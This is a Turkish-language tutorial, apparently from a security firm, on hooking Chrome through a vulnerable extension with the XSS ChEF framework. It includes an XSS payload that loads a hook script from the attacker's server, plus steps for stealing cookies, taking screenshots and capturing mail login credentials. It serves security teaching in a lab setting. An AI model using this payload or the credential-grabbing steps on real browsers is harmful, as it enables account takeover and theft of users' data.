XSS Exploitation via CHEF



Benzer belgeler
Data Link Katmanı olarak adlandırılır. Fiziksel adresleme bu katmanda yapılır.

MERAK MAIL SERVER ACTIVE DIRECTORY ENTEGRASYONU

KARADENİZ TEKNİK ÜNİVERSİTESİ YENİ WEB SİTESİ BİRİM YETKİLİSİ WYS (WEB YÖNETİM SİSTEMİ) KULLANIM KLAVUZU

Armitage Nedir? Kullanım Öncesi

e-imzatr Kurulum Klavuzu

Virtualization. VMware vcenter Server Yapılandırılması

JasperReports Server ve Ireport raporlama Sistemi Kurulumu / Kullanımı 1. Bölüm 2. Bölüm 1- JasperReports Server ve Ireport Nedir?

KURUMSAL UZAKTAN MASAÜSTÜ DESTEK YAZILIMI (ENTERPRISE REMOTE DESKTOP SOFTWARE) KURULUM KILAVUZU

KAMPÜS DIŞI ERİŞİM AYARLARI

Windows 2000 Server kurulurken "Standalone Server" olarak kurulur.. İlk defa login olduğunuzda ise, "Windows 2000 Configure Your Server" ekranı gelir:

WEB E-POSTA AYARLARI. Outlook 2003 Ayarı ( Resimli Anlatım )

ELEKTRONİK BELGE YÖNETİM SİSTEMİ KOORDİNATÖRLÜĞÜ (EBYS KOORDİNATÖRLÜĞÜ) ELEKTRONİK İMZA KURULUM AŞAMALARI VE EBYS PROGRAMI SİSTEM GEREKSİNİMLERİ

CSRF (XSRF, Cross Site Request Forgery Cross Site Reference Forgery ) Nedir? Nasıl Kullanılır? ve Nasıl Korunulur?

e-imzatr Kurulum Klavuzu

CYGWIN KURULUMU ve KULLANIMI

Kullanıcı Dökümanı. Flash B2B. Versiyon 0.1

Nevşehir Hacı Bektaş Veli Üniversitesi. Moodle Uzaktan Eğitim Sistemi. Öğretim Elemanı Bilgilendirme Kılavuzu

adresine tıklayarak kayıt ekranına giriş yapınız.

TÜRKİYE KAMU HASTANELERİ KURUMU WEB SİTESİ YÖNETİM REHBERİ

Google Chrome Kullanıyorsanız; Microsoft Internet Explorer Kullanıyorsanız;

WEB TASARIM. CSS, IFRAME, TEMPLATE, SLICE, INCLUDE(php komutu) Tarık ÖZEL

Windows Server 2012 Active Directory Kurulumu

Sol tarafta yer alan Click here to activate your account linkini seçiniz.

e-imzatr Kurulum Klavuzu

UFUK ÜNİVERSİTESİ MERKEZ KÜTÜPHANESİ MENDELEY KULLANIM KILAVUZU

Outlook Web Access'a Güvensiz Girmeyin

VitalSource Bookshelf Nedir? Bookshelf e Giriş Kayıt Kitap Ekleme. Masaüstü ve Dizüstü Bilgisayarda

3CX Phonesystem Türkçe Anonsları Windows ve Linux İşletim Sistemlerinde Aktif Etme

NEUTRON DDNS KURULUMU

1. PROGRAM KURMA 1.1 LİNUX PROGRAMLARINI KURMA Yazılım Merkezi ile Program Kurma

KANTAR UYGULAMASI Kurulum Kılavuzu

EBA Dosya Uygulaması Kullanıcı Kılavuzu ( W eb)

TAŞINIR KAYIT VE YÖNETİM SİSTEMİ(TKYS)KULLANMA KILAVUZU

VKV Koç Özel İlkokulu, Ortaokulu ve Lisesi. K12Net Veli Yardım Kılavuzu

Course Online. Güncelleme: Haziran 24, 2013

Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı

Bir Bilgisayar Bağlanıyor Diğeri Bağlanmıyor

WiresHark ile Facebook Hack ve Güvenlik Yöntemi

BEUN VPN Hizmeti. VPN Nedir?

SQL SERVER 2005 ENTEGRE SQL (VTY) VERİ TABANI YÖNETİM KURULUMU RESİMLİ ANLATIMI. Entegre SQL kurmadan önce SQLSERVER 2005,i kuralım öncelikle.

ÖĞRENCİLER İÇİN UZAKTAN EĞİTİM SİSTEMİ (MOODLE) KULLANIM KILAVUZU

Exchange Server 2010 Sertifika Oluşturma

FOG SERVER (FREE GHOST SERVER) YAZILIMININ KURULUMU

SAMURAİ FRAMEWORK İLE HACKİNG-1 (FOOTPRINTING)

Sanal Makine Kurulumu (VirtualBox)

Denetim Masası/Programlar/Windows özelliklerini Aç/Kapat

Samsun Çocuk Hizmetleri İ l Koordinasyon Sekretarya Birimi

VKV Koç Özel İlkokulu, Ortaokulu ve Lisesi. K12Net Veli Yardım Kılavuzu

2014 PROGRAMININ AUTODESK SİTESİNDEN İNDİRİLMESİ

OTURUM AÇMA ADLARI. Tavsiye Edilen Önhazırlık Enterprise Manager'i kullanabilmek.

Uygulama web, ios ve Android platformlarında sorunsuz bir şekilde çalışmaktadır.

IIS 7.5 ÜZERİNDE FTP SİTE KURULUMU VE YAPILANDIRILMASI

AirTies Kablosuz Erişim Noktası (Access Point) olarak kullanacağınız cihazı bilgisayarınıza bağlayarak ayarlarını yapabilirsiniz.

ACS790 Programından OZW672 Web Server a tesis diyagramının aktarılması


Windows Server 2008R2 de Lisans Server ın Aktive Edilmesi

24 Kasım 2011 / Perşembe

CHECKPOINT VPN KULLANIM KILAVUZU

AEGEE-Eskişehir Online Web Yönetim Paneli ( WEBBY ) Yardım Dökümanı

Cambridge LMS e Başlama- Öğrenciler

WAMP SERVER KURULUMU

Raptadmin 1.x.x Sürümleri için Kullanım Klavuzu

Uzaktan Eğitim Programlarına Giriş Kılavuzu

T.C. HARRAN ÜNİVERSİTESİ UZAKTAN EĞİTİM UYGULAMA VE ARAŞTIRMA MERKEZİ YABANCI DİL SINAVI (İNGİLİZCE) İÇİN SORU ÇÖZÜM TEKNİKLERİ KURSU

Ders Tanıtım Sunumu. Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı. 26 Şub Öğr. Gör.

Kırklareli Üniversitesi Uzaktan Eğitim Uygulama ve Araştırma Merkezi

Yerel Ağlarda Port 139 ve Saldırı Yöntemi

Vasco Kurulumu ve Active Directory Entegrasyonu

SİEMENS TEDARİKÇİ FİNANSMAN SİSTEMİ KULLANICI KLAVUZU

VMware Üzerine BackTrack 5 Kurulumu

Oluşturmak istediğimiz OU ye bir isim veriyoruz. Name kısmına ISTANBUL yazıyoruz,

Nevşehir Hacı Bektaş Veli Üniversitesi Moodle Uzaktan Eğitim Sistemi Öğretim Elemanı Bilgilendirme Kılavuzu

YENİ AKOFİS, MÜŞTERİ SİPARİŞ YÖNETİMİ

WORDPRESS İLE BLOG TASARLAMA REHBERİ İçindekiler

MVC. Görüldüğü üzere 2 adet cs. Dosyası oluşturdum. Birincisi çok satır kodu (20-25) içeren büyük işlerin yapılacağı class. İsmi buyuk_isler.

BLGM 354 DENEY 1 * GİRİŞ

Debian GNU/Linux'da BootSplash & Grub Temalarının Kurulumu

RPMNET WOLVOX REPORTER

Smoothwall URL Filter Kurulumu

NECMETTİN ERBAKAN ÜNİVERSİTESİ BİLGİ İŞLEM DAİRE BAŞKANLIĞI DreamSpark Kullanım Talimatı

ARAKLI İLÇE MİLLİ EĞİTİM MÜDÜRLÜĞÜ [OKUL/KURUMLARDA E-POSTA KOTA SORUNUN ÇÖZÜMÜ]

Cambridge LMS e Başlama- Öğrenciler

KAMPÜS DIŞINDAN PROXY (VEKİL) AYARLARI İLE KAMPÜS AĞINA BAĞLANMAK

CENTOS X64 ÜZERINE OPEN SOURCE ZIMBRA COLLABORATION SUITE KURULUMU

İstemci Tabanlı Saldırı Türleri. Ozan UÇAR

Useroam Kurulum Rehberi

Kurumsal Grup E-Posta Eğitim Dokümanı

ASP.NET 1. DURUM YÖNETİMİ. BLM 318 e-ticaret ve Uyg. Durum Yönetimi Nedir? Durum Yönetimi: Karșılaștırma İÇERİK. Sunucu-taraflı Durum Yönetimi

JSON Korsanlığı. Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı

Önce domain sunucuyu görebiliyor muyuz, kontrol edelim

Yeni kullanıcı hesabı açmak ya da varolan hesaplar üzerinde düzenlemeler yapmak.

Microsoft Outlook 2003 Kurulumu

İÇERİK YÖNETİM SİSTEMİ (CMS) Bir web sitesi yayınlamak için yapılması gerekenler:

vsphere Client(viClient) ile ESXI Kontrolü

C# ile e-posta Göndermek

Bu makalede 2003 sunucu, Windows 2003 Server anlamına gelmektedir. Aşağıda yapılan işlemler 2003 R2 sunucu üzerinde denenmiş ve çalıştırılmıştır.

Fibridge F9-120-xxx, F9-240-xxx, F9-480-xxx serisi PDH Multiplexer cihazlarının network yönetimi, web üzerinden olduğu

Transkript:

XSS Exploitation via CHEF Evren Yalçın SignalSec Corp. www.signalsec.com GİRİŞ Xss zafiyetlerini exploit ederken genelde Beef(The Browser Exploitation Framework) aracı kullanılmaktadır. Fakat ek araçlar da bize bu süreçte oldukça kolaylık sağlamaktadır. Bunlardan birisi de Beef ile birlikte kullanabileceğiniz XSS Chef(Chrome Extension Exploitation Framework) aracıdır.

Kısaca Chef? Zafiyet barındıran Chrome extension'u tarayıcıya ekledikten sonra uygulama içerisinde Dom-Based Xss çalıştırarak kurban tarayıcıyı Chef ile rahatlıkla yönetebiliyoruz. Chef ile Neler Yapabiliriz? Tab yönetimi Bütün tablarda JS çalıştırmak(global Xss) HTML kaynak kodlarını incelemek Cookie yazmak/okumak Browser geçmişini manipüle etmek Kurbanın bilgisayarından ekran görüntüsü almak BeEF ile entegrasyon Keylogger Çalışma mantığına göz atalım, Diagramı incelediğimizde Xss Chef'in 3 ana parçadan oluştuğunu görmekteyiz. Sunucu, Konsol ve Victim hooks. Sunucu burada Http&websockets ile konsol(saldırgan)'a bağlıdır ve Chrome extension sayesinde kurban ve saldırgan arasında devamlı bir bağlantı kurulur. Xss Chef ile bunu 3 şekilde yapabilirsiniz: PHP/XHR PHP/WebSockets Nodejs/Websockets. Biz Nodejs'i tercih edeceğiz. Peki neden NodeJS? http://www.webrazzi.com/2012/08/23/engine-yard-node-js/ İncelemenizde fayda var.

İlk olarak https://github.com/koto/xsschef adresinden dosyaları /opt/lampp/htdocs/xsschef/ klasörü altına indiriyoruz. Daha sonra NodeJs'i kurmamız gerekiyor. Nodejs kurulumu için aşağıdaki yönergeleri izleyin. 1. sudo apt-get update 2. sudo apt-get install git-core curl build-essential openssl libssl-dev 3. Download source from http://nodejs.org/#download to ~/Downloads/src 4. cd Downloads/src 5. tar xvfz.tar.gz 6. cd 7../configure 8. make 9. sudo make install 10. node -v 11. cd 12. curl http://npmjs.org/install.sh sudo Linux konsoldan $ npm install websocket yaparak websocket'i kuruyoruz. Eğer kurulum başarıyla gerçekleştiyse $ node server.js yazarak nodejs uygulamasını başlatıyoruz.

Hata mesajı almadıysanız http://127.0.0.1:8080/adresinden konsola ulaşabilirsiniz. not: Uygulama Linux Mint 13 Maya da test edilmiştir. Nodejs sürümü : v.0.0.8 Sunucu tarafını başarıyla kurduğumuza göre şimdi Xss zafiyeti barındıran Chrome Extension'u tarayıcıya yüklüyoruz. chrome://settings/extensions adresinden kurulu Chrome extensionları listeliyoruz. paketlenmemiş uzantıyı yükle kısmından vulnerable_chrome_extention 'u tarayıcıya yüklüyoruz.

Daha sonra tarayıcıya yüklediğimiz Chrome extension'ın içine aşağıdaki saldırı vektörünü kaydediyoruz. <img src=x onerror="if(location.protocol.indexof('chrome')==0) {d=document;e=createelement('script');e.src='http://localhost:8080/hook.php';d.body.appendchild( e);}"> Saldırgan ve kurban arasındaki bağlantıyı bu kod parçası sayesinde kurmuş olduk.

choose hooked session tuşuna tıklayarak browser session'u seçiyoruz. Artık kurban tarayıcıyı yönetebiliriz.

"Info" tabından Get cookies tuşuna bastığımızda URL, Cookies ve LocalStorage bilgisi gelmektedir. Commands tabından Screenshot alabilir, Hook Beef özelliğini kullanabilir ve çeşitli kod örneklerini çalıştırabilirsiniz.

"Html" tabından Get Html diyerek sayfanın kaynak kodlarına ulaşabilirsiniz. Ayrıca mevcut tab içerisinde bulunan linkleri de listelemektedir.

"Persistent scripts" tabında login grabber, login form grabber gibi kod örneklerini kullanabilir veya kendi kod örneklerini oluşturabilirsiniz. Not: logscript(script_name,object); fonksiyonunu kullanarak sonuçları geri döndürebiliyoruz. Regex kullanarak URL eşleştirmesi yapabilirsiniz. Add script tuşuna tıkladığınızda sonuçları "Result log" tabından takip edebilirsiniz.

Sonuçlar, date, Hook Script name, Url, Result olarak geri dönecektir. "Hooked extention info" tabına baktığımızda Hookid, yani kurbanın tarayıcında çalışan extension'nın bilgilerini görüyoruz.. Burada dikkat etmemiz gereken nokta tarayıcı izinleridir. { "origins": [ "" ], "permissions": [ "cookies", "history", "management", "proxy", "tabs" ] } not: ayrıntılı bilgi için manifesto dosyasını inceleyin. LocalStorage alanında ise uygulamada çalışan Xss zafiyetini görmekteyiz.

Extention Commands tabında Active Tab screenshot tuşunu kullanarak kurban tarayıcıdan ekran görüntüsü alabilirsiniz. "Create new tab" alanından kurban tarayıcı da tab açabilirsiniz. Eval kısmında ise çeşitli kod örneklerini kullanabilir veya kendiniz oluşturabilirsiniz. Xss ChEF'i biraz tanıdığımıza göre küçük bir örnek yapalım. Hedef: x mail hizmeti Kullanacağımız özellik : Persistent scripts Sonuç : kullanıcı bilgilerini elde etmek. Konsoldan Persistent Scripts tabına geçiyoruz. Name alanına hedefmail.com yazalım. Launch this code alanında login form grabber'ı seçiyoruz. Daha sonra URL için hedefmail.com'a ufak bir regex yazıyoruz. ^https://hedefmail.com/

Eğer kurban tarayıcı hedefmail.com'dan giriş yaparsa Chef sonuçları results log tabına yansıtacaktır. "elements": [ { "name": "login", "value": "USERNAME" }, { "name": "passwd", "value": "PASSWORD" Result tabından baktığınızda kullanıcı adını ve parolayı açık bir şekilde görebiliyoruz. Kaynaklar: http://blog.kotowicz.net http://buffalobillion.wordpress.com/2011/06/28/installing-nodejs-and-npm-on-linux-mint-11/ https://www.owasp.org/index.php/dom_based_xss